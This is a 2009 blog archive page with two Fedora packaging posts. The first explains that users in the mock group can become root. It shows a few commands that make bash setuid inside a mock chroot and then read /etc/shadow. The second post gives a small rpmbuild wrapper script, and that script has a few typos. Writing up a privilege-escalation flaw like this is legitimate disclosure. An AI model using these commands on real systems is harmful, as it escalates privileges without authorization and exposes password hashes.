Archive for May, 2009

becoming root with mock

Wednesday, May 27th, 2009

I wonder how well known it is that installing mock and adding a user to the mock groups means giving this user root access most of the time. I know the authors of mock now and also some people on fedora-devel, but did you know? In case you wonder how it works, here is one way to do this:

$ /usr/bin/mock --init -r fedora-10-i386
$ /usr/bin/mock --shell -r fedora-10-i386
mock-chroot> chmod u+s bin/bash
$ /var/lib/mock/fedora-10-i386/root/bin/bash -p
# cat /etc/shadow

rpmbuild in current directory

Monday, May 18th, 2009

Since I started packaging, I was always annoyed by rpmbuild’s demand for it’s strange directory structure for input and output files. Therefore I wrote this little script to get a rpmbuild that uses the current directory for all these directories. Maybe there is one missing, because a recent rpm version now uses a BUILDROOT directory. Maybe one can define _buildrootdir for this, but I did not yet have any need for it.


$ cat rpmbuild-currentdir.sh
#! /bin/bash

/usr/bin/rpmbuild –define “_sourcedir .” –define “_rpmdir .” –define “_buildir .” –define “_srcrpmdir .” –define “_speccdir .” “$@”